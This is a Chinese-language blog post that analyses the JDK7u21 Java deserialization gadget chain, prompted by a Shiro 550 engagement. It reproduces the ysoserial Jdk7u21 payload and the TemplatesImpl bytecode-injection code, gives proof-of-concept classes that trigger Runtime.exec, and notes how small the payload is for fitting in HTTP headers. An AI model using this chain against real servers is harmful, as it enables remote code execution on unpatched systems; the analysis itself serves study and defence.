JDK7u21反序列化链利用分析
JDK7u21反序列化链利用分析 0x0 前言 起因来源于某次的真实的项目经历,碰到Shiro 550,当时尝试各种常见序列化链都失败了,最后JDK7u21 这个序列化链能够成功执行命令,所以对此进行一番学习。 0x1 前置知识 0x1.1 三大概念 学习JAVA相关内容内容之前,这三个经典概念都是可以回顾和学习。 (1) JVM(Java Virtual Machine) JVM(java
JDK7u21反序列化链利用分析
0x0 前言
起因来源于某次的真实的项目经历,碰到Shiro 550,当时尝试各种常见序列化链都失败了,最后JDK7u21 这个序列化链能够成功执行命令,所以对此进行一番学习。
0x1 前置知识
0x1.1 三大概念
学习JAVA相关内容内容之前,这三个经典概念都是可以回顾和学习。
(1) JVM(Java Virtual Machine)
JVM(java虚拟机),是驻留于内存的抽象计算机。
1.1 主要构成:
类加载器: 将.class 文件加载到内存
字节码验证工具: 检查代码中是否存在访问限制违规
执行引擎: 将字节码转换为可执行的机器码
JIT: 即时编译,用于提高JVM的性能,加快java程序的执行速度
1.2 主要作用:
将java字节码(类文件.class,由JVM指令集, 符号表以及补充信息构成)解释为本地机器码(字节码映射本地机器码),不同的操作系统使用不同的JVM映射规则,使java字节码的解释执行与操作系统无关,从而完成跨平台。
JAVA语言的跨平台性是基于JVM的不跨平台性的
(2) JRE(JAVA Runtime Environment)
JRE(java运行环境),由运行和管理JAVA应用程序的类库和工具组成。
单纯的JVM不能直接运行java程序,需要核心类库的支持,所以可以简单理解
JRE = JVM + 核心类库 + 一些工具(密钥库工具keytool, jar文件解压缩工具...)
(3) JDK(JAVA Development Kit)
java开发工具包,是面向JAVA开发人员使用的SDk(software Development Kit 软件开发工具包)
提供java程序的开发环境和运行环境。
JDK 包含了 JRE、基础类库(Java API,如网络、IO、线程、模型)、java源码编译器javac、以及其他一些开发、诊断、分析、调试、管理的工具和命令,如jar、javah、jdb等
0x1.2 jdk命名规则
我们平时安装的java环境,大多是 Java SE Development Kit 8u261, 也就是所谓的jdk8,java8, jdk8。
为什么同一个东西,有这么多名称呢,其实这个跟jdk发布历史中改名有关。
1996-01-23 -1999-04-08 发行了 jdk1.0 - jdk1.1.8
1998-12-04 - 2003-0626 发行了 j2se 1.2 (jdk 1.2 开始了改名)
2004-09-30 发行了Java SE 5.0 (1.5.0) (jdk 1.5.0 又开始了改名)
..
Java SE 6.0 (1.6.0)
Java SE 7.0 (1.7.0)
...
Java SE 11.0
等
Java命名方式更改的事件原因:
1998年12月8日,Sun公司发布了第二代Java平台(简称为Java2)的3个版本:J2ME(Java2 Micro Edition,Java2平台的微型版),应用于移动、无线及有限资源的环境;J2SE(Java 2 Standard Edition,Java 2平台的标准版),应用于桌面环境;J2EE(Java 2Enterprise Edition,Java 2平台的企业版),应用于基于Java的应用服务器。
2004年9月30日,J2SE1.5发布。为了表示该版本的重要性,J2SE 1.5更名为Java SE 5.0(内部版本号1.5.0)
2005年6月,Java SE 6正式发布。此时,Java的各种版本已经更名,已取消其中的数字2(如J2EE更名为JavaEE,J2SE更名为JavaSE,J2ME则为JavaME)
java SE 主要应用于电脑上运行的软件】
java ee 是基于se基础上构建,是开发企业级应用的一套APi(标准),主要应用于网站建设。
(其实我们平时用Spring 框架去开发 + tomcat 也可以的,根本不需要下载java ee的jdk)
java se 主要应用于移动设备和嵌入式设备的java应用程序
java se ee me 他们所使用的jdk是一样的,区别的是,内置的类库存在差异。
0x2 调试环境搭建
这里简单介绍我平时的工作流,每个人的爱好都不一样。
1.调试工具:
ideal(调试)、eclipse(开发)
2.安装JDK不同版本:
MAC homebrew 只能直接安装官方最新版的OpenJDK
最新版:
brew install java
jdk8以上:
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk8
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk9
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk10
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk11
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk12
jdk7:
brew cask install homebrew/cask-versions/zulu7
jdk6:
brew cask install homebrew/cask-versions/java6
再低就没有必要了,毕竟都2020年.
查看系统已安装的java版本和路径:/usr/libexec/java_home -V

这样子虽然方便,但是我们依然选择不了自己想要的大版本中的小版本,这里的1.7.0272 已经超过了漏洞的版本,经过测试,没办法打成功的。
那么如何安装更详细的版本呢?
选择合适的操作系统下载,傻瓜化安装即可。


3.下载
git clone https://github.com/frohoff/ysoserial
编译:
cd ysoserial
mvn clean package -DskipTests
基本用法:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "whoami" > jdk7u21Object.ser
然后直接导入ideal中,下面我们直接在ideal进行ysoserial payload类的导入即可,这样子分析链也方便。
0x3 漏洞说明
0x3.1 背景说明
缺陷影响版本: JRE versions <= 7u21
利用限制: 仅依赖于原生库函数
真实影响: 实战环境有机会遇到
0x3.2 漏洞演示
package ysoserial.example;
import ysoserial.payloads.Jdk7u21;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class JDK7u21 {
public static void main(String[] args) {
try {
Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
成功执行命令

ysoserial的payload
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
可以看到payload不是很长,但是利用链中的调用还是比较多的,让我们来慢慢分析吧。
0x4 漏洞分析
0x4.1 第一层 createTemplatesImpl
别问我为什么这是第一层(payload都是层层嵌套的,这是第一句)

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
// 建立一个templates 对象
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
//
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// Foo.class 没什么很大作用,可能是凑数组数量的,删掉也ok
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
这里分为两部分,一部分是javassist的动态注入,一部分是templates 属性的设置。
javassist的作用:
通过动态字节码生成一个类,该类的静态代码块中存储恶意代码。
templates属性设置的作用:
Templates.newTransformer() 实例化该恶意类从而触发其静态代码块中的恶意代码。
这部分的理解我们可以通过调试这个简单的触发语句来理解:
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc
calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}
基本的调用栈如下:

calc.getOutputProperties() 执行后

跳转去执行: newTransformer().getOutputProperties() 接着去执行newTransformer()这个方法。

可以看到在这个方法里面的第一个参数又调用了getTransletInstance(),继续跟进
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

我们没有设置_class属性,故进入defineTransletClasses方法。然后执行
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();调用_class[_transletIndex]类的无参构造方法,生成类对象。
private void defineTransletClasses()
throws TransformerConfigurationException {
// 这里我们传入了值
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
// 引入加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// 这里在其他版本会有一句_tfactory.getExternalExtensionsMap()
// 为了防止出错,所以我们给_tfactory 设置 transFactory.newInstance() 这个带有getExternalExtensionsMap方法的实例
// 7u21版本下其实加不加都没关系。
return new
TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
// 根据_bytecodes传入的数目
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
// 加载字节码转化为对应的类
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
// _transletIndex 默认值是-1
// 所以为了不出错,所以这里字节码转换为对应类的时候,其父类必须是
// ABSTRACT_TRANSLET = com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
_class[i] = loader.defineClass(_bytecodes[i]); ,加载类并不会触发静态方法,但是之后会有一个
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
进行实例化,从而触发我们javassist注入的静态恶意代码。
再次梳理代码流程
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
// 建立一个templates 对象
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
}
这里的核心就是将cmd命令通过makeClassInitializer方法注入到了StubTransletPayload
但是这个类还有一个要求必须是abstTranslet的子类,所以这里处理两个类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
通过javassistd方式将StubTransletPayload的父类设置为abstTranslet
其实ysoserial做了很多重复的工作(可能有其他作用? 迷。)

从上面我们简单归纳下执行的顺序:
1.TemplatesImpl.getOutputProperties()
2.TemplatesImpl.newTransformer()
3.TemplatesImpl.getTransletInstance()
4.TemplatesImpl.defineTransletClasses()
5.ClassLoader.defineClass()
6.Class.newInstance()
1,2,3,4中都是可以触发的点,但是1,2 是public方法可以被对象直接调用,而3,4是private方法,只能被对象可调用方法间接调用。
所以我们第二层的目标就是触发第一点或者第二点。
0x4.2 第二层 AnnotationInvocationHandler
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
第二层的核心是怎么触发第一层的TemplatesImpl.newTransformer()
这里选择newTransformer()方法来触发的原因还是比较取巧和骚气的。
理解这个之前,我们先学习一下java的动态代理机制。
java静态代理: 通过聚合来实现,代理类通过引入被代理类对象。 缺点:不方便批量对接口进行修改
java动态代理:
实现这两个动态代理,有两个重要的接(InvocationHandler)口和类(Proxy)
这个特点经常用在日志记录上面,举一个例子介绍用法:
AppService.java
package proxypractice; public interface AppService { public boolean createApp(String name); }AppServiceImpl.java
package proxypractice; public class AppServiceImpl implements AppService { @Override public boolean createApp(String name) { // TODO Auto-generated method stub System.out.println("APP["+name + "] has beend created!"); return true; } }LoggerInterceptor.java
package proxypractice; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class LoggerInterceptor implements InvocationHandler { private Object target; public LoggerInterceptor(Object t) { // TODO Auto-generated constructor stub this.target = t; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // TODO Auto-generated method stub System.out.println("Entered" + target.getClass().getName()); System.out.println("Method:" + method.getName()); System.out.println("Arguments:" + args[0] ); // call target's method Object result = method.invoke(target, args); return result; } }
LoggerInterceptor 作为一个中介类,继承了InvocationHandler,
Proxy.newProxyInstance 则通过传入被代理类、代理接口、LoggerInterceptor对象生成了一个代理对象。
能够实现在调用被代理类方法之前,进入中介类的invoke函数方法里面进行执行前后的处理。
学习完动态代理之后,我们就可以理解上面三句话的作用了。
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

首先通过Reflections框架通过调用初始化函数创建一个AnnotationInvocationHandler对象实例。
然后设置了type属性为Templates.class

然后创建了一个Templates类型的代理,hook了所有接口。(这里绑定什么类都没关系的,因为我们需要的是equals方法,默认继承Object根类都自带这个方法,下面会说的)
我们重新写一个只涉及两层利用的POC,通过debug的方式去分析。
package ysoserial.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
public class TwoTest {
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc
HashMap map = new HashMap();
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
proxy.equals(calc);
}
}

调用栈如下,开始逐一分析吧。

这里就是检验equals这个方法是不是被重写了,原生的话是会进入equalsImpl这个函数的。
private Boolean equalsImpl(Object var1) {
// 判断var1是否为AnnotationInvocationHandle,var1是templates,pass
if (var1 == this) {
return true;
// 构造限制点,type属性限制了var1必须为this.type的类实例
} else if (!this.type.isInstance(var1)) {
return false;
} else {
//这里获取了当前成员的方法
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4]; //遍历获取方法
String var6 = var5.getName(); //获取方法名字
Object var7 = this.memberValues.get(var6);//获取memberValues中的值
Object var8 = null;
// Proxy.isProxyClass(var1.getClass()
// 判断varl是不是代理类,显然不是,pass
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
// 这里直接进行了方法的调用核心。
// var5是方法名,var1是可控的类
// var1.var5()
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
我们的目的是`TemplatesImpl.newTransformer()
那么我们var1可以通过proxy(var1)方式去控制,那么var5怎么去控制方法的呢?
Method[] var2 = this.getMemberMethods(); 可以看到这里获取了成员的方法,我们选择跟进去看看。
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
结果发现是通过反射机制从this.type这个类属性去获取的。
Reflections.setFieldValue(tempHandler, "type", Templates.class);
所以这里我们只要控制type为Templates.class就行了。

里面就有newTransformer方法,且为第一个,如果是第二个、第三个话,前面可能会因为参数不对等原因出现错误,导致程序没能执行到newTransformer方法就中断了。
0x4.3 第三层 LinkedHashSet
第三层的核心就是触发proxy.equals(calc);
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
这里我们可以直观梳理出第三层关键作用的代码:
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
这是最外层LinkedHashSet,这个对象在反序列化的时候会自动触发readObject方法,从而开始了exp的执行流程
通过查看序列化规则writeObject
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
我们可以知道它的序列化规则
s.defaultWriteObject();
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
s.writeInt(map.size());
for (E e : map.keySet())
s.writeObject(e);
可以看到有个获取map大小,然后循环写入的过程。(也就是循环写入每一个元素)
在我们的exp里面分别按顺序执行set.add(templates); 、set.add(proxy); 添加了两个元素。
这到底是为什么需要两个呢?
还有就是
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
.......
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
map.put(zeroHashCodeStr, templates); // swap in real object
我们对创建的代理对象设置了一个特殊的HashMap map,

作为了memberValues属性的值。 让我们带着这两个问题去分析一下。
从readObject开始分析

这里先取出了我们先传入第一个templates, 其中PRESENT 是一个空的Object 跟进看下 map.put 方法的处理
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}

因为table一开始为空的,所以我们第一次进入不了循环,最后进入

传入了我们第一个实例通过hash()计算出的hash、实例和空object和 indexFor()计算出的i值
通过addEntry方法添加到了table这个Entry中,继续往下执行,
跳转回map.put(e, PRESENT);传入我们第二个代理实例。

先记住当前传入的这些值,后面就会发现这些值会有神奇的作用。
我们继续重复上次的操作,先计算hash

因为是代理对象,执行方法的时候会进入invoke

我们跟进hashCodeImpl
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}

var2遍历我们传入的map对象,其中var3就是我们的map对象。
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()
其中
var3.getKey()).hashCode()

这个值f5a5a608计算结果为0.
memberValueHashCode(var3.getValue()

这个值直接返回map.put(zeroHashCodeStr, templates); 中的templates的hashcode结果。
所以
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
其实就是:
var1 += 0^memberValueHashCode(var3.getValue())
0^x =x,所以结果就是templates的hashcode的结果。
这个结果恰好是我们第一次传入的对象结果。
LinkedHashSet set = new LinkedHashSet(); // maintain order
// 第一次传入的是templates实例
set.add(templates);
// 第二次传入的是proxy代理实例
set.add(proxy);
虽然我们传入的两个不一样的东西,但是计算hashcode的时候,代理实例的值使我们可以通过设置this.memberValue来控制的。
后面继续向下走:

e.hash == hash && ((k = e.key) == key || key.equals(k))
首先e.hash == hash这个是满足的,根据&& 短路原则,会继续计算右边的结果,(k = e.key) == key
这里进行了赋值K = e.key所以k就是templates,显然不会等于代理类对象key。根据 ||的短路原则
最终进入了key.equals(k),也就是前面我们所说的proxy.equals(calc),成功完成整个反序列化的RCE链。
0x5 POC 长度
package ysoserial.example;
import ysoserial.payloads.Jdk7u21;
import java.io.*;
public class PayloadOk {
public static void main(String[] args) {
try {
Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("/tmp/payload.ser")));
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

可以看到这个POC的Base64之后大小只有3489个字节。常见的nginx header头部max length 4096和tomcat的8192
都可以兼容这个POC。
我们可以继续浏览下其他的反序列化链的大小。


可以看到不同的POC,字节大小的区别还是挺大的,针对不同的容器,选择不同的POC,以及对POC的优化还是很有必要的。
0x6 总结
这个链条第一次看的时候感觉真的挺复杂的,但是通过分析之后,理解起来还是比较简单的。但是能够发现这个反序列化链绝对是神级大佬级别的(好奇ing,这种链条的发现真的骚)。后面分析下如何在Shiro 550 tomcat环境中利用该链条执行命令回显。
